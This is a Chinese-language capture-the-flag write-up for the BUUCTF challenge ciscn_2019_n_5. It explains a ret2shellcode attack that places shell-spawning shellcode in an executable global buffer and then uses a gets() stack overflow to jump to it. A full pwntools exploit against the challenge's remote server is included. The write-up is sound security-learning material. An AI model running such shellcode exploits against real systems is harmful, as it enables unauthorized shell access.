BUUCTF 刷题 ciscn_2019_n_5

先附上题目:BUUCTF在线评测

放到我们的虚拟机上checksec一下,64位程序,拥有RWX段。

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

接下来放到IDA里f5一下,可以看到主函数读了一个0x64大小的name,又gets一个text

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char text[30]; // [rsp+0h] [rbp-20h]

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("tell me your name");
  read(0, name, 0x64uLL);
  puts("wow~ nice name!");
  puts("What do you want to say to me?");
  gets(text, name);
  return 0;

 基本思路可知ret2shellcode,shellcode我们需要自己构造,vmmap发现name所在的段可读可写可执行,那么我们就可以在name处写上我们的shellcode,再用gets栈溢出来跳转到name的地址实现攻击。

exp:

from pwn import *

context(os = 'linux',arch='amd64',log_level='debug')#必须加上相应的环境参数,本蒟蒻之前没加想了好久为什么打不通,shellcraft.sh()的shellcode在不同环境下是不一样的
#r = process('./cis')
r = remote('node4.buuoj.cn','25464')
name = 0x601080

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(100,'A')
r.sendline(shellcode)
payload = 'a'*0x20+'b'*0x8+p64(name)
r.sendline(payload)

r.interactive()

你可能感兴趣的:(笔记,web安全,安全,经验分享)